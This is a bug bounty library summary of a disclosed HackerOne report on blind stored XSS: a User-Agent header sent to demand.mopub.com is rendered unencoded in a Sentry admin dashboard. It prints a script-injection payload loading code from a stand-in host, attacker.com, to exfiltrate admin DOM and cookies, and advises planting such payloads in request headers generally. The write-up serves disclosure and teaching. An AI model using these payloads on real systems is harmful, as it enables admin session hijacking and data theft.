# Blind XSS in Mobpub Marketplace Admin Production | Sentry via demand.mopub.com (User-Agent)

User-Agent header on demand.mopub.com reflected unencoded into a Sentry admin dashboard option tag, enabling blind stored XSS in admin context.

- Payout: hidden
- Severity: high
- Program: X / xAI
- Found by: harisec
- Disclosed: 2018-02-17
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/275518
- Library page: https://bugbountylibrary.com/r/h1%3A275518
- Tags: area:web domain:web impact:ato impact:internal-access kind:bounty platform:hackerone sev:high tech:rest technique:blind technique:oob-exfil vuln:xss

**Target:** demand.mopub.com login endpoint / Sentry admin dashboard
**Root cause:** The User-Agent header from requests to demand.mopub.com is stored and later rendered inside an `<option>` tag in the Sentry marketplace-admin dashboard without HTML encoding, allowing context escape.
**Steps:**
1. Send `GET /accounts/login/` to `https://demand.mopub.com/accounts/login/` with `User-Agent: '>"></title></style></textarea></script><script/src=attacker.com/js></script>` (replace attacker.com/js with your own logging domain).
2. Log into `http://sentry-test.mopub.com/` with admin credentials and visit `http://sentry-test.mopub.com/exchange-marketplace/marketplace-admin-production/`.
3. Observe the script loaded from your domain executing in the admin dashboard context; exfiltrated DOM confirms the payload reflected inside an `<option>` tag.
**How found:** Hypothesis that request metadata (User-Agent) logged by the demand endpoint would surface in an internal Sentry dashboard; injected a blind XSS payload and waited for out-of-band callback hits from the admin browser.
**Exploitation:** Attacker sends a single unauthenticated request with a malicious User-Agent to demand.mopub.com; when an admin later views the Sentry marketplace-admin-production dashboard, the stored payload executes in the admin origin, allowing script from attacker domain to run and exfiltrate DOM/cookies.
**Insight:** Request metadata like User-Agent, Referer and X-Forwarded-For captured by public endpoints often flows into internal admin/analytics dashboards (Sentry, Kibana, etc.) where it is rendered unescaped — plant blind XSS payloads in these headers and watch for OOB callbacks from internal tooling.